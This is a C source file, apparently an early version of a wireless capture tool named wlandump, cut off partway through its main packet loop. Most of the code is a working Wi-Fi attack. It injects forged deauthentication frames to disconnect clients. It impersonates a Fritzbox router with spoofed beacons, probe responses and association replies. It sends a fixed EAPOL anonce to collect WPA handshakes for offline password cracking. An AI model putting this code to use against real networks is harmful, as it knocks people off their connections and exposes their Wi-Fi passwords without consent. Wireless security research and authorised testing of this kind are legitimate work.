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wlandump.c
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#define _GNU_SOURCE
#include <ctype.h>
#include <dirent.h>
#include <fcntl.h>
#include <ftw.h>
#include <libgen.h>
#include <signal.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <utime.h>
#include <time.h>
#include <pcap.h>
#include <linux/wireless.h>
#ifdef DOGPIOSUPPORT
#include <wiringPi.h>
#undef TRUE
#undef FALSE
#endif
#include "common.h"
/*===========================================================================*/
/* Definitionen */
#define APLISTESIZEMAX 1024
#define STALISTESIZEMAX 1024
#define SENDPACKETSIZEMAX 0x1ff
struct aplist
{
adr_t addr_ap;
uint8_t essid_len;
uint8_t essid[32];
};
typedef struct aplist apl_t;
#define APL_SIZE (sizeof(apl_t))
struct stalist
{
adr_t addr_ap;
adr_t addr_sta;
int deauthcount;
uint8_t essid_len;
uint8_t essid[32];
};
typedef struct stalist stal_t;
#define STAL_SIZE (sizeof(stal_t))
/*===========================================================================*/
/* globale variablen */
pcap_t *pcapin = NULL;
pcap_dumper_t *pcapout = NULL;
uint8_t channel = 1;
uint16_t mysequencenr = 1;
int deauthmax = 2;
apl_t *apliste = NULL;
stal_t *staliste = NULL;
adr_t myaddr;
int myoui = 0;
int myap = 0;
char *interfacename = NULL;
/*===========================================================================*/
/* Konstante */
const uint8_t mac_null[] =
{
0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
const uint8_t broadcast[] =
{
0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};
const int myvendor[] =
{
0x00006c, 0x000101, 0x00054f, 0x000578, 0x000b18, 0x000bf4, 0x000c53, 0x000d58,
0x000da7, 0x000dc2, 0x000df2, 0x000e17, 0x000e22, 0x000e2a, 0x000eef, 0x000f09,
0x0016b4, 0x001761, 0x001825, 0x002067, 0x00221c, 0x0022f1, 0x00234a, 0x00238c,
0x0023f7, 0x002419, 0x0024fb, 0x00259d, 0x0025df, 0x00269f, 0x005047, 0x005079,
0x0050c7, 0x0084ed, 0x0086a0, 0x00a054, 0x00a085, 0x00bb3a, 0x00cb00, 0x0418b6,
0x0c8112, 0x100000, 0x10ae60, 0x10b713, 0x1100aa, 0x111111, 0x140708, 0x146e0a,
0x18421d, 0x1cf4ca, 0x205b2a, 0x20d160, 0x24336c, 0x24bf74, 0x28ef01, 0x3cb87a,
0x487604, 0x48f317, 0x50e14a, 0x544e45, 0x580943, 0x586ed6, 0x5c6b4f, 0x609620,
0x68e166, 0x706f81, 0x78f944, 0x7ce4aa, 0x8c8401, 0x8ce748, 0x906f18, 0x980ee4,
0x9c93e4, 0xa468bc, 0xa4a6a9, 0xacde48, 0xb025aa, 0xb0ece1, 0xb0febd, 0xb4e1eb,
0xc02250, 0xc8aacc, 0xd85dfb, 0xdc7014, 0xe00db9, 0xe0cb1d, 0xe80410, 0xf04f7c,
0xf0a225, 0xfcc233
};
#define MYVENDOR_SIZE sizeof(myvendor)
const uint8_t hdradiotap[] =
{
0x00, 0x00, // <-- radiotap version
0x0c, 0x00, // <- radiotap header length
0x04, 0x80, 0x00, 0x00, // <-- bitmap
0x02, // <-- rate
0x00, // <-- padding for natural alignment
0x18, 0x00, // <-- TX flags
};
#define HDRRT_SIZE sizeof(hdradiotap)
/* Fritzbox 3272 Beacon */
uint8_t beaconfb3272[] =
{
0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x0c, 0x12, 0x18, 0x24,
0x03, 0x01, 0x0b, //channel
0x05, 0x04, 0x00, 0x01, 0x00, 0x00,
0x07, 0x06, 0x44, 0x45, 0x20, 0x01, 0x0d, 0x14,
0x2a, 0x01, 0x00,
0x32, 0x04, 0x30, 0x48, 0x60, 0x6c,
0x2d, 0x1a, 0xef, 0x11, 0x1b, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x04, 0x06, 0xe6, 0x47, 0x0d, 0x00,
0x3d, 0x16, 0x0b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4a, 0x0e, 0x14, 0x00, 0x0a, 0x00, 0x2c, 0x01, 0xc8, 0x00, 0x14, 0x00, 0x05, 0x00, 0x19, 0x00,
0x7f, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
0xdd, 0x18, 0x00, 0x50, 0xf2, 0x02, 0x01, 0x01, 0x00, 0x00, 0x03, 0xa4, 0x00, 0x00, 0x27, 0xa4, 0x00, 0x00, 0x42, 0x43, 0x5e, 0x00, 0x62, 0x32, 0x2f, 0x00,
0xdd, 0x09, 0x00, 0x03, 0x7f, 0x01, 0x01, 0x00, 0x00, 0xff, 0x7f,
0xdd, 0x0c, 0x00, 0x04, 0x0e, 0x01, 0x01, 0x02, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x30, 0x14, 0x01, 0x00, 0x00, 0x0f, 0xac, 0x04, 0x01, 0x00, 0x00, 0x0f, 0xac, 0x04, 0x01, 0x00, 0x00, 0x0f, 0xac, 0x02, 0x00, 0x00,
0xdd, 0x18, 0x00, 0x50, 0xf2, 0x04, 0x10, 0x4a, 0x00, 0x01, 0x10, 0x10, 0x44, 0x00, 0x01, 0x02, 0x10, 0x49, 0x00, 0x06, 0x00, 0x37, 0x2a, 0x00, 0x01, 0x20
};
#define FB3272BEACON_SIZE sizeof(beaconfb3272)
/* Fritzbox 3272 Proberesponse*/
uint8_t proberesponsefb3272[] =
{
0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x0c, 0x12, 0x18, 0x24,
0x03, 0x01, 0x0b,
0x07, 0x06, 0x44, 0x45, 0x20, 0x01, 0x0d, 0x14,
0x2a, 0x01, 0x00,
0x32, 0x04, 0x30, 0x48, 0x60, 0x6c,
0x2d, 0x1a, 0xef, 0x11, 0x1b, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x04, 0x06, 0xe6, 0x47, 0x0d, 0x00,
0x3d, 0x16, 0x0b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4a, 0x0e, 0x14, 0x00, 0x0a, 0x00, 0x2c, 0x01, 0xc8, 0x00, 0x14, 0x00, 0x05, 0x00, 0x19, 0x00,
0x7f, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
0xdd, 0x18, 0x00, 0x50, 0xf2, 0x02, 0x01, 0x01, 0x00, 0x00, 0x03, 0xa4, 0x00, 0x00, 0x27, 0xa4, 0x00, 0x00, 0x42, 0x43, 0x5e, 0x00, 0x62, 0x32, 0x2f, 0x00,
0xdd, 0x09, 0x00, 0x03, 0x7f, 0x01, 0x01, 0x00, 0x00, 0xff, 0x7f,
0xdd, 0x0c, 0x00, 0x04, 0x0e, 0x01, 0x01, 0x02, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x30, 0x14, 0x01, 0x00, 0x00, 0x0f, 0xac, 0x04, 0x01, 0x00, 0x00, 0x0f, 0xac, 0x04, 0x01, 0x00, 0x00, 0x0f, 0xac, 0x02, 0x00, 0x00,
0xdd, 0x6f, 0x00, 0x50, 0xf2, 0x04, 0x10, 0x4a, 0x00, 0x01, 0x10, 0x10, 0x44, 0x00, 0x01, 0x02, 0x10, 0x3b, 0x00, 0x01, 0x03, 0x10, 0x47, 0x00, 0x10, 0xe1, 0x88, 0x94,
0x6e, 0x88, 0x55, 0xf6, 0xb5, 0xef, 0xef, 0x34, 0x81, 0xc4, 0xcb, 0xb5, 0x30, 0x10, 0x21, 0x00, 0x03, 0x41, 0x56, 0x4d, 0x10, 0x23, 0x00, 0x04, 0x46, 0x42, 0x6f, 0x78,
0x10, 0x24, 0x00, 0x04, 0x30, 0x30, 0x30, 0x30, 0x10, 0x42, 0x00, 0x04, 0x30, 0x30, 0x30, 0x30, 0x10, 0x54, 0x00, 0x08, 0x00, 0x06, 0x00, 0x50, 0xf2, 0x04, 0x00, 0x01,
0x10, 0x11, 0x00, 0x04, 0x46, 0x42, 0x6f, 0x78, 0x10, 0x08, 0x00, 0x02, 0x23, 0x88, 0x10, 0x3c, 0x00, 0x01, 0x01, 0x10, 0x49, 0x00, 0x06, 0x00, 0x37, 0x2a, 0x00, 0x01,
0x20
};
#define FB3272PROBERESPONSE_SIZE sizeof(proberesponsefb3272)
uint8_t authenticationframe[] =
{
0x00, 0x00, 0x02, 0x00, 0x00, 0x00
};
#define AUTHENTICATION_SIZE sizeof(authenticationframe)
const uint8_t anonce[] =
{
0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00, 0x88, 0x8e,
0x02, 0x03, 0x00, 0x5f, 0x02, 0x00, 0x8a, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf7,
0x00, 0x68, 0x20, 0x09, 0xe2, 0x1f, 0x0e, 0xbc, 0xe5, 0x62, 0xb9, 0x06, 0x5b, 0x54, 0x89, 0x79,
0x09, 0x9a, 0x65, 0x52, 0x86, 0xc0, 0x77, 0xea, 0x28, 0x2f, 0x6a, 0xaf, 0x13, 0x8e, 0x50, 0xcd,
0xb9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00
};
#define ANONCE_SIZE sizeof(anonce)
const uint8_t associationresponse[] =
{
0x01, 0x08, 0x82, 0x84, 0x8b, 0x0c, 0x12, 0x96, 0x18, 0x24,
0x32, 0x04, 0x30, 0x48, 0x60, 0x6c,
0x2d, 0x1a, 0xaf, 0x01, 0x1b, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x04, 0x06, 0xe6, 0x47, 0x0d, 0x00,
0x3d, 0x16, 0x0b, 0x0f, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4a, 0x0e, 0x14, 0x00, 0x0a, 0x00, 0x2c, 0x01, 0xc8, 0x00, 0x14, 0x00, 0x05, 0x00, 0x19, 0x00,
0x7f, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
0xdd, 0x18, 0x00, 0x50, 0xf2, 0x02, 0x01, 0x01, 0x00, 0x00, 0x03, 0xa4, 0x00, 0x00, 0x27, 0xa4, 0x00, 0x00, 0x42, 0x43, 0x5e, 0x00, 0x62, 0x32, 0x2f, 0x00
};
#define ASSOCRESP_SIZE sizeof(associationresponse)
/*===========================================================================*/
int initgloballists()
{
int c;
stal_t * zeiger;
myap = rand() & 0xffffff;
if(myoui == 0)
myoui = myvendor[rand() % ((MYVENDOR_SIZE / sizeof(int))-1)];
memset(&myaddr, 0, 6);
myaddr.addr[5] = myap & 0xff;
myaddr.addr[4] = (myap >> 8) & 0xff;
myaddr.addr[3] = (myap >> 16) & 0xff;
myaddr.addr[2] = myoui & 0xff;
myaddr.addr[1] = (myoui >> 8) & 0xff;
myaddr.addr[0] = (myoui >> 16) & 0xff;
if((apliste = malloc(APLISTESIZEMAX * APL_SIZE)) == NULL)
return FALSE;
memset(apliste, 0, APLISTESIZEMAX * APL_SIZE);
if((staliste = malloc(STALISTESIZEMAX * STAL_SIZE)) == NULL)
return FALSE;
memset(staliste, 0, STALISTESIZEMAX * STAL_SIZE);
zeiger = staliste;
for(c = 0; c < STALISTESIZEMAX; c++)
{
zeiger->deauthcount = deauthmax;
zeiger++;
}
return TRUE;
}
/*===========================================================================*/
void printaddr(const uint8_t *macaddr1, const uint8_t *macaddr2, int destflag)
{
int c;
fprintf(stdout, "%02d ", channel);
for (c = 0; c < 6; c++)
printf("%02x", macaddr1[c]);
if(destflag == TRUE)
printf(" <- ");
else
printf(" -> ");
for (c = 0; c < 6; c++)
printf("%02x", macaddr2[c]);
printf(" ");
return;
}
/*===========================================================================*/
void sendbeacon(uint8_t channel, uint8_t *macaddr2, uint8_t essid_len, uint8_t **essid)
{
struct timeval tv1;
int pcapstatus;
mac_t grundframe;
beacon_t beacontsframe;
essid_t essidframe;
uint8_t sendpacket[SENDPACKETSIZEMAX];
memset(&grundframe, 0, MAC_SIZE_NORM);
grundframe.type = MAC_TYPE_MGMT;
grundframe.subtype = MAC_ST_BEACON;
grundframe.duration = 0;
memcpy(grundframe.addr1.addr, broadcast, 6);
memcpy(grundframe.addr2.addr, macaddr2, 6);
memcpy(grundframe.addr3.addr, macaddr2, 6);
grundframe.sequence = htole16(mysequencenr++ << 4);
gettimeofday( &tv1, NULL );
beacontsframe.beacon_timestamp = htole64(tv1.tv_sec*1000000UL + tv1.tv_usec);
beacontsframe.beacon_interval = 0x0064;
beacontsframe.beacon_capabilities = 0x431;
essidframe.info_essid = 0;
essidframe.info_essid_len = essid_len;
memcpy(sendpacket, hdradiotap, HDRRT_SIZE);
memcpy(sendpacket +HDRRT_SIZE, &grundframe, MAC_SIZE_NORM);
memcpy(sendpacket +HDRRT_SIZE +MAC_SIZE_NORM, &beacontsframe, BEACONINFO_SIZE);
memcpy(sendpacket +HDRRT_SIZE +MAC_SIZE_NORM +BEACONINFO_SIZE, &essidframe, ESSIDINFO_SIZE);
memcpy(sendpacket +HDRRT_SIZE +MAC_SIZE_NORM +BEACONINFO_SIZE +ESSIDINFO_SIZE, essid, essid_len);
memcpy(sendpacket +HDRRT_SIZE +MAC_SIZE_NORM +BEACONINFO_SIZE +ESSIDINFO_SIZE +essid_len, beaconfb3272, FB3272BEACON_SIZE);
sendpacket[HDRRT_SIZE +MAC_SIZE_NORM +BEACONINFO_SIZE +ESSIDINFO_SIZE +essid_len +12] = channel;
pcapstatus = pcap_inject(pcapin, &sendpacket, +HDRRT_SIZE +MAC_SIZE_NORM +BEACONINFO_SIZE +ESSIDINFO_SIZE +essid_len +FB3272BEACON_SIZE);
if(pcapstatus == -1)
{
#ifdef DOGPIOSUPPORT
system("reboot");
#endif
fprintf(stderr, "error while sending beacon %s \n", pcap_geterr(pcapin));
}
mysequencenr++;
if(mysequencenr > 9999)
mysequencenr = 1;
return;
}
/*===========================================================================*/
void sendproberesponse(uint8_t channel, uint8_t *macaddr1, uint8_t *macaddr2, uint8_t essid_len, uint8_t **essid)
{
struct timeval tv1;
int pcapstatus;
mac_t grundframe;
beacon_t beacontsframe;
essid_t essidframe;
uint8_t sendpacket[SENDPACKETSIZEMAX];
memset(&grundframe, 0, MAC_SIZE_NORM);
grundframe.type = MAC_TYPE_MGMT;
grundframe.subtype = MAC_ST_PROBE_RESP;
grundframe.duration = 0x013a;
memcpy(grundframe.addr1.addr, macaddr1, 6);
memcpy(grundframe.addr2.addr, macaddr2, 6);
memcpy(grundframe.addr3.addr, macaddr2, 6);
grundframe.sequence = htole16(mysequencenr++ << 4);
gettimeofday( &tv1, NULL );
beacontsframe.beacon_timestamp = htole64(tv1.tv_sec*1000000UL + tv1.tv_usec);
beacontsframe.beacon_interval = 0x0064;
beacontsframe.beacon_capabilities = 0x431;
essidframe.info_essid = 0;
essidframe.info_essid_len = essid_len;
memcpy(sendpacket, hdradiotap, HDRRT_SIZE);
memcpy(sendpacket +HDRRT_SIZE, &grundframe, MAC_SIZE_NORM);
memcpy(sendpacket +HDRRT_SIZE +MAC_SIZE_NORM, &beacontsframe, BEACONINFO_SIZE);
memcpy(sendpacket +HDRRT_SIZE +MAC_SIZE_NORM +BEACONINFO_SIZE, &essidframe, ESSIDINFO_SIZE);
memcpy(sendpacket +HDRRT_SIZE +MAC_SIZE_NORM +BEACONINFO_SIZE +ESSIDINFO_SIZE, essid, essid_len);
memcpy(sendpacket +HDRRT_SIZE +MAC_SIZE_NORM +BEACONINFO_SIZE +ESSIDINFO_SIZE +essid_len, proberesponsefb3272, FB3272PROBERESPONSE_SIZE);
sendpacket[HDRRT_SIZE +MAC_SIZE_NORM +BEACONINFO_SIZE +ESSIDINFO_SIZE +essid_len +12] = channel;
pcapstatus = pcap_inject(pcapin, &sendpacket, +HDRRT_SIZE +MAC_SIZE_NORM +BEACONINFO_SIZE +ESSIDINFO_SIZE +essid_len +FB3272PROBERESPONSE_SIZE);
if(pcapstatus == -1)
{
#ifdef DOGPIOSUPPORT
system("reboot");
#endif
fprintf(stderr, "error while sending probe response %s \n", pcap_geterr(pcapin));
}
mysequencenr++;
if(mysequencenr > 9999)
mysequencenr = 1;
return;
}
/*===========================================================================*/
void sendauthentication(uint8_t *macaddr1, uint8_t *macaddr2)
{
mac_t grundframe;
int pcapstatus;
uint8_t sendpacket[SENDPACKETSIZEMAX];
memset(&grundframe, 0, MAC_SIZE_NORM);
grundframe.type = MAC_TYPE_MGMT;
grundframe.subtype = MAC_ST_AUTH;
grundframe.duration = 0x013a;
memcpy(grundframe.addr1.addr, macaddr1, 6);
memcpy(grundframe.addr2.addr, macaddr2, 6);
memcpy(grundframe.addr3.addr, macaddr2, 6);
grundframe.sequence = htole16(mysequencenr++ << 4);
memcpy(sendpacket, hdradiotap, HDRRT_SIZE);
memcpy(sendpacket +HDRRT_SIZE, &grundframe, MAC_SIZE_NORM);
memcpy(sendpacket +HDRRT_SIZE +MAC_SIZE_NORM, &authenticationframe, AUTHENTICATION_SIZE);
pcapstatus = pcap_inject(pcapin, &sendpacket, HDRRT_SIZE +MAC_SIZE_NORM +AUTHENTICATION_SIZE);
if(pcapstatus == -1)
{
#ifdef DOGPIOSUPPORT
system("reboot");
#endif
fprintf(stderr, "error while sending authentication %s \n", pcap_geterr(pcapin));
}
mysequencenr++;
if(mysequencenr > 9999)
mysequencenr = 1;
return;
}
/*===========================================================================*/
void sendacknowledgement(uint8_t *macaddr1)
{
mac_t grundframe;
int pcapstatus;
uint8_t sendpacket[SENDPACKETSIZEMAX];
memset(&grundframe, 0, MAC_SIZE_NORM);
grundframe.type = MAC_TYPE_CTRL;
grundframe.subtype = MAC_ST_ACK;
grundframe.duration = 0;
memcpy(grundframe.addr1.addr, macaddr1, 6);
memcpy(sendpacket, hdradiotap, HDRRT_SIZE);
memcpy(sendpacket +HDRRT_SIZE, &grundframe, MAC_SIZE_ACK);
pcapstatus = pcap_inject(pcapin, &sendpacket, HDRRT_SIZE +MAC_SIZE_ACK);
if(pcapstatus == -1)
{
#ifdef DOGPIOSUPPORT
system("reboot");
#endif
fprintf(stderr, "error while sending acknowledgement %s \n", pcap_geterr(pcapin));
}
return;
}
/*===========================================================================*/
void sendassociationresponse(uint8_t dart, uint8_t *macaddr1, uint8_t *macaddr2)
{
int pcapstatus;
mac_t grundframe;
assocres_t associationframe;
uint8_t sendpacket[SENDPACKETSIZEMAX];
memset(&grundframe, 0, MAC_SIZE_NORM);
memset(&grundframe, 0, MAC_SIZE_NORM);
grundframe.type = MAC_TYPE_MGMT;
grundframe.subtype = dart;
grundframe.duration = 0x013a;
memcpy(grundframe.addr1.addr, macaddr1, 6);
memcpy(grundframe.addr2.addr, macaddr2, 6);
memcpy(grundframe.addr3.addr, macaddr2, 6);
grundframe.sequence = htole16(mysequencenr++ << 4);
associationframe.ap_capabilities = 0x0431;
associationframe.ap_status = 0;
associationframe.ap_associd = 1;
memcpy(&sendpacket, hdradiotap, HDRRT_SIZE);
memcpy(sendpacket +HDRRT_SIZE, &grundframe, MAC_SIZE_NORM);
memcpy(sendpacket +HDRRT_SIZE +MAC_SIZE_NORM, &associationframe, ASSOCIATIONRESF_SIZE);
memcpy(sendpacket +HDRRT_SIZE +MAC_SIZE_NORM +ASSOCIATIONRESF_SIZE, &associationresponse, ASSOCRESP_SIZE);
pcapstatus = pcap_inject(pcapin, &sendpacket, +HDRRT_SIZE +MAC_SIZE_NORM +ASSOCIATIONRESF_SIZE +ASSOCRESP_SIZE);
if(pcapstatus == -1)
{
#ifdef DOGPIOSUPPORT
system("reboot");
#endif
fprintf(stderr, "error while sending associationresponce %s \n", pcap_geterr(pcapin));
}
mysequencenr++;
if(mysequencenr > 9999)
mysequencenr = 1;
return;
}
/*===========================================================================*/
void sendkey1(uint8_t *macaddr1, uint8_t *macaddr2)
{
int pcapstatus;
mac_t grundframe;
qos_t qosframe;
uint8_t sendpacket[SENDPACKETSIZEMAX];
memset(&grundframe, 0, MAC_SIZE_NORM);
memset(&qosframe, 0, QOS_SIZE);
grundframe.type = MAC_TYPE_DATA;
grundframe.subtype = MAC_ST_QOSDATA;
grundframe.from_ds = 1;
grundframe.duration = 0x3a01;
memcpy(grundframe.addr1.addr, macaddr1, 6);
memcpy(grundframe.addr2.addr, macaddr2, 6);
memcpy(grundframe.addr3.addr, macaddr2, 6);
qosframe.control = 0;
qosframe.flags = 0;
memcpy(sendpacket, hdradiotap, HDRRT_SIZE);
memcpy(sendpacket +HDRRT_SIZE, &grundframe, MAC_SIZE_NORM);
memcpy(sendpacket +HDRRT_SIZE +MAC_SIZE_NORM, &qosframe, QOS_SIZE);
memcpy(sendpacket +HDRRT_SIZE +MAC_SIZE_NORM +QOS_SIZE, &anonce, ANONCE_SIZE);
pcapstatus = pcap_inject(pcapin, &sendpacket, +HDRRT_SIZE +MAC_SIZE_NORM +QOS_SIZE +ANONCE_SIZE);
if(pcapstatus == -1)
{
#ifdef DOGPIOSUPPORT
system("reboot");
#endif
fprintf(stderr, "error while sending key 1 %s \n", pcap_geterr(pcapin));
}
return;
}
/*===========================================================================*/
void senddeauth(uint8_t dart, uint8_t reason, uint8_t *macaddr1, uint8_t *macaddr2)
{
int pcapstatus;
mac_t grundframe;
uint8_t sendpacket[SENDPACKETSIZEMAX];
if((memcmp(macaddr1, &myaddr, 3) == 0) || (memcmp(macaddr2, &myaddr, 3) == 0))
return;
memset(&grundframe, 0, MAC_SIZE_NORM);
grundframe.type = MAC_TYPE_MGMT;
grundframe.subtype = dart;
grundframe.duration = 0x013a;
memcpy(grundframe.addr1.addr, macaddr1, 6);
memcpy(grundframe.addr2.addr, macaddr2, 6);
memcpy(grundframe.addr3.addr, macaddr2, 6);
grundframe.sequence = htole16(mysequencenr++ << 4);
memcpy(sendpacket, hdradiotap, HDRRT_SIZE);
memcpy(sendpacket + HDRRT_SIZE, &grundframe, MAC_SIZE_NORM);
sendpacket[HDRRT_SIZE +MAC_SIZE_NORM] = reason;
sendpacket[HDRRT_SIZE +MAC_SIZE_NORM +1] = 0;
pcapstatus = pcap_inject(pcapin, &sendpacket, HDRRT_SIZE + MAC_SIZE_NORM +2);
if(pcapstatus == -1)
{
#ifdef DOGPIOSUPPORT
system("reboot");
#endif
fprintf(stderr, "error while sending deauthentication %s \n", pcap_geterr(pcapin));
}
grundframe.retry = 1;
memcpy(sendpacket +sizeof(hdradiotap), &grundframe, MAC_SIZE_NORM);
pcapstatus = pcap_inject(pcapin, &sendpacket, HDRRT_SIZE + MAC_SIZE_NORM +2);
if(pcapstatus == -1)
{
#ifdef DOGPIOSUPPORT
system("reboot");
#endif
fprintf(stderr, "error while sending retry deauthentication %s \n", pcap_geterr(pcapin));
}
mysequencenr++;
if(mysequencenr > 9999)
mysequencenr = 1;
return ;
}
/*===========================================================================*/
/*===========================================================================*/
#ifdef DOSTATUS
unsigned long long int getreplaycount(eap_t *eap)
{
unsigned long long int replaycount = 0;
replaycount = be64toh(eap->replaycount);
return replaycount;
}
#endif
/*===========================================================================*/
uint8_t geteapkey(eap_t *eap)
{
uint16_t keyinfo;
int eapkey = 0;
keyinfo = (((eap->keyinfo & 0xff) << 8) | (eap->keyinfo >> 8));
if (keyinfo & WPA_KEY_INFO_ACK)
{
if(keyinfo & WPA_KEY_INFO_INSTALL)
{
/* handshake 3 */
eapkey = 3;
}
else
{
/* handshake 1 */
eapkey = 1;
}
}
else
{
if(keyinfo & WPA_KEY_INFO_SECURE)
{
/* handshake 4 */
eapkey = 4;
}
else
{
/* handshake 2 */
eapkey = 2;
}
}
return eapkey;
}
/*===========================================================================*/
int handlestaframes(uint8_t *mac_ap, uint8_t *mac_sta, uint8_t essid_len, uint8_t **essidname)
{
stal_t *zeiger;
int c;
zeiger = staliste;
for(c = 0; c < STALISTESIZEMAX; c++)
{
if((memcmp(mac_ap, zeiger->addr_ap.addr, 6) == 0) && (memcmp(mac_sta, zeiger->addr_sta.addr, 6) == 0) && (zeiger->essid_len == essid_len) && (memcmp(zeiger->essid, essidname, essid_len) == 0))
{
return TRUE;
}
if(memcmp(&mac_null, zeiger->addr_sta.addr, 6) == 0)
break;
zeiger++;
}
if(c >= STALISTESIZEMAX)
{
zeiger = staliste;
memset(staliste, 0, STALISTESIZEMAX * STAL_SIZE);
}
memcpy(zeiger->addr_ap.addr, mac_ap, 6);
memcpy(zeiger->addr_sta.addr, mac_sta, 6);
zeiger->essid_len = essid_len;
memcpy(zeiger->essid, essidname, essid_len);
return FALSE;
}
/*===========================================================================*/
int handleapframes(uint8_t *mac_ap, uint8_t essid_len, uint8_t **essidname)
{
apl_t *zeiger;
int c;
zeiger = apliste;
for(c = 0; c < APLISTESIZEMAX; c++)
{
if((memcmp(mac_ap, zeiger->addr_ap.addr, 6) == 0) && (zeiger->essid_len == essid_len) && (memcmp(zeiger->essid, essidname, essid_len) == 0))
{
return TRUE;
}
if(memcmp(&mac_null, zeiger->addr_ap.addr, 6) == 0)
break;
zeiger++;
}
if(c >= APLISTESIZEMAX)
{
zeiger = apliste;
memset(apliste, 0, APLISTESIZEMAX * APL_SIZE);
}
memcpy(zeiger->addr_ap.addr, mac_ap, 6);
zeiger->essid_len = essid_len;
memcpy(zeiger->essid, essidname, essid_len);
return FALSE;
}
/*===========================================================================*/
void sigalarm(int signum)
{
if(signum == SIGALRM)
{
#ifdef DOGPIOSUPPORT
digitalWrite(0, HIGH);
delay (25);
digitalWrite(0, LOW);
delay (25);
if(digitalRead(7) == 1)
{
digitalWrite(0, HIGH);
pcap_dump_close(pcapout);
pcap_close(pcapin);
system("poweroff");
}
#endif
pcap_breakloop(pcapin);
alarm(5);
}
return;
}
/*===========================================================================*/
void programmende(int signum)
{
if((signum == SIGINT) || (signum == SIGTERM) || (signum == SIGKILL))
{
pcap_dump_flush(pcapout);
pcap_dump_close(pcapout);
pcap_close(pcapin);
printf("\nprogram terminated...\n");
exit (EXIT_SUCCESS);
}
return;
}
/*===========================================================================*/
void setchannel()
{
struct iwreq wrq;
int sock = 0;
int result = 0;
memset(&wrq, 0, sizeof(struct iwreq));
strncpy(wrq.ifr_name, interfacename , IFNAMSIZ);
if((sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
{
fprintf(stderr, "socket open for ioctl() on '%s' failed with '%d'\n", interfacename, sock);
programmende(SIGINT);
}
wrq.u.freq.m = channel;
wrq.u.freq.e = 0;
wrq.u.freq.flags = IW_FREQ_FIXED;
if(ioctl(sock, SIOCSIWFREQ, &wrq) < 0)
{
usleep(100);
if((result = ioctl(sock, SIOCSIWFREQ, &wrq)) < 0)
{
fprintf(stderr, "ioctl(SIOCSIWFREQ) on '%s' failed with '%d'\n", interfacename, result);
fprintf(stderr, "unable to set channel on '%s', exiting\n", interfacename);
programmende(SIGINT);
}
}
close(sock);
return;
}
/*===========================================================================*/
void pcaploop(int has_rth, int staytime)
{
const uint8_t *packet = NULL;
const uint8_t *h80211 = NULL;
struct pcap_pkthdr *pkh;
rth_t *rth = NULL;
mac_t *macf = NULL;
eap_t *eap = NULL;
essid_t *essidf;
uint8_t *payload = NULL;
int pcapstatus = 1;
int macl = 0;
int fcsl = 0;
int staytimecount = staytime;
uint8_t field = 0;
#ifdef DOACTIVE
uint8_t mkey = 0;
authf_t *authenticationreq = NULL;
#else
#ifdef DOSTATUS
uint8_t mkey = 0;
authf_t *authenticationreq = NULL;
#endif
#endif
#ifdef DOACTIVE
apl_t *zeiger;
stal_t *zeigersta;
int c;
#endif
#ifdef DOSTATUS
unsigned long long int replaycount;
#endif
#ifdef DOSTATUS
char essidstr[34];
#endif
#ifdef DOSTATUS
printf("start capturing...\n");
#ifdef DOACTIVE
printf("own mac: ");
for (c = 0; c < 6; c++)
printf("%02x", myaddr.addr[c]);
printf("\n");
#endif
#endif
while(1)
{
pcapstatus = pcap_next_ex(pcapin, &pkh, &packet);
if(pcapstatus == 0)
continue;
if(pcapstatus == -1)
{
#ifdef DOGPIOSUPPORT
system("reboot");
#endif
fprintf(stderr, "pcap read error: %s \n", pcap_geterr(pcapin));
continue;
}
if(pcapstatus == -2)
{
pcap_dump_flush(pcapout);
if(staytimecount == 0)
{
channel++;
if(channel > 13)
{
channel = 1;
#ifdef DOACTIVE
zeigersta = staliste;
for(c = 0; c < STALISTESIZEMAX; c++)
{
zeigersta->deauthcount = deauthmax;
zeigersta++;
}
#endif
}
setchannel(interfacename, channel);
staytimecount = staytime;
}
staytimecount--;
continue;
}
if(pkh->caplen != pkh->len)
continue;
/* check radiotap-header */
h80211 = packet;
if(has_rth == TRUE)
{
rth = (rth_t*)packet;
fcsl = 0;
